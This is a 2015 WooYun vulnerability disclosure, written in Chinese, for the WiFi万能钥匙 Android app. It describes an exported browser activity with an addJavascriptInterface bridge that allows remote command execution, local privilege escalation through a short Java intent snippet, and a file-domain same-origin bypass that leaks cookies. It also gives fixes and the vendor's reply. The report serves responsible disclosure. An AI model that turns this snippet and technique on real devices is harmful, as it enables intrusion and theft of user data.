当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0121352

漏洞标题:wifi万能钥匙app多处设计缺陷

相关厂商:WiFi万能钥匙

漏洞作者: 路人甲

提交时间:2015-06-18 15:21

修复时间:2015-09-17 15:28

公开时间:2015-09-17 15:28

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-18: 细节已通知厂商并且等待厂商处理中
2015-06-19: 厂商已经确认,细节仅向厂商公开
2015-06-22: 细节向第三方安全合作伙伴开放
2015-08-13: 细节向核心白帽子及相关领域专家公开
2015-08-23: 细节向普通白帽子公开
2015-09-02: 细节向实习白帽子公开
2015-09-17: 细节向公众公开

简要描述:

各种姿势玩转wifi万能钥匙,让wifi万能钥匙成为木马的温床

详细说明:

一,远程命令执行
com.snda.wifilocating.ui.activity.WkBrowserActivity对外导出:

<activity android:icon="@drawable/wk_browser_icon" android:label="@string/act_browser_label" android:name=".ui.activity.WkBrowserActivity" android:theme="@android:style/Theme.NoTitleBar">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="http" />
<data android:scheme="wkb" />
<data android:scheme="https" />
<data android:scheme="about" />
<data android:scheme="javascript" />
</intent-filter>
</activity>


设置了wkb这个伪协议,可以通过浏览器加载该组件。
查看该组件的onCreate函数:

protected void onCreate(Bundle arg4) {
super.onCreate(arg4);
Intent v0 = this.getIntent();
if(v0 == null) {
this.finish();
return;
}
if(WkBrowserActivity.a) {
v0.setClass(GlobalApplication.a(), MyWebViewActivity.class);
goto label_10;
}
if(Build$VERSION.SDK_INT >= 14) {
v0.setClass(GlobalApplication.a(), CustomActivity.class);
}
else {
v0.setClass(GlobalApplication.a(), BrowserActivity.class);
}
label_10:
this.startActivity(v0);
this.finish();
}


导出了WiFikey这个js接口:

this.p.setWebChromeClient(new d(this));
this.p.addJavascriptInterface(new com.snda.wifilocating.support.y(((Context)this), this.p, al
.a(am.a)), "WiFikey");
this.p.requestFocus();


由于Manifest只定义了minSdkVersion:
<uses-sdk android:minSdkVersion="8" />
因此在所有Android版本都存在远程命令执行漏洞,浏览恶意网址即可受到远程命令执行漏洞:
Android4.1.2:

webview4.1.2.png


Android4.3:

webview4.3.png


二,本地权限提升
上面的漏洞还可以通过本地攻击,恶意apk可以利用该漏洞进行本地命令执行,造成权限提升。
Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse("http://drops.wooyun.org/webview.html"));
intent.putExtra("url", "http://drops.wooyun.org/webview.html");
intent.putExtra("title", "test");
intent.setClassName(TARGET_PKG, "com.snda.wifilocating.ui.activity.WkBrowserActivity");

startActivity(intent);
在Android4.1.2上的效果:

webview4.1.2.png


三,敏感信息泄露

try {
Uri v2 = v0.getData();
if(v2 == null) {
v0_3 = v0.getStringExtra("url");
goto label_114;
}
v0_3 = v2.toString();
}


获取url之后,没对file域进行处理,导致webview file域同源策略绕过漏洞,导致cookie等敏感信息泄露。

xinxi.png

漏洞证明:

如上

修复方案:

一,addJavascriptInterface存在高危远程代码执行漏洞,应尽量避免使用,API 17中用@JavascriptInterface 代替addjavascriptInterface;移除系统webkit内置的危险接口searchBoxJavaBridge_,accessibility,accessibilityTraversal"
二,不要导出没必要导出的组件
三,对file域进行处理

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-06-19 15:26

厂商回复:

感谢您的关注,已将问题转交至相关团队查证。

最新状态:

暂无


漏洞评价:

评论